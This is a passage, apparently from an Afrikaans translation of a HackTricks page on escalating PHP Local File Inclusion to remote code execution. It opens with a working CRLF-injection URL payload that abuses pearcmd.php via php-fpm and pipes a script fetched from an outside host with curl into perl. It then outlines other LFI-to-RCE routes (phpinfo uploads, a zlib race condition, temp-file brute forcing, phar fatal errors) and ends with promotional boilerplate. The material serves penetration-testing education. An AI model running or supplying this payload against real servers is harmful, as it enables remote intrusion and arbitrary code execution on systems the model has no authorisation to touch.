Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van hier):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
As jy 'n Local File Inclusion en 'n lĂȘer wat phpinfo() blootstel met file_uploads = on gevind het, kan jy RCE kry:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
As jy 'n Local File Inclusion gevind het en jy kan die pad van die tydelike lĂȘer uitvoer, MAAR die bediener is besig om te kontroleer of die lĂȘer wat ingesluit moet word PHP merke het, kan jy probeer om daardie kontrole te omseil met hierdie Race Condition:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via eternal waiting + bruteforce
As jy die LFI kan misbruik om tydelike lĂȘers op te laai en die bediener kan die PHP-uitvoering hang, kan jy dan lĂȘernames vir ure brute force om die tydelike lĂȘer te vind:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
To Fatal Error
As jy enige van die lĂȘers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
Ek weet nie hoe dit nuttig is nie, maar dit mag wees.
Alhoewel jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lĂȘers wat opgelaai is, verwyder.
References
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.